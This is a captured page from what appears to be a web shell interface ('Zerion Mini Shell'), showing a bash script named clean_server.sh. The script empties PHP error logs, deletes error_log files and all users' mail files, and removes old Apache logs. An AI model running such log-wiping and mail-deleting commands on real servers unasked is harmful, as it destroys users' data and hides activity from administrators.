%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /scripts2/
Upload File :
Create Path :
Current File : //scripts2/clean_server.sh

#/bin/bash

# blank log
ls /home/*/logs/*.php.error.log | xargs -n1 cp -v /dev/null
find /home/*/public_html -name error_log -exec rm -vf {} \;

# disable xmlrpc.php wordpress
#find /home/*/public_html -maxdepth 1 -name xmlrpc.php -exec mv -v {} {}.bak \;

# catch-all emails
find /home/*/mail/new/ -type f -name "*" -exec rm -vf {} \;
find /home/*/mail/cur/ -type f -name "*" -exec rm -vf {} \;

# delete all logs
find /usr/local/apache/logs/archive/ -type f -mtime +30 -delete

Zerion Mini Shell 1.0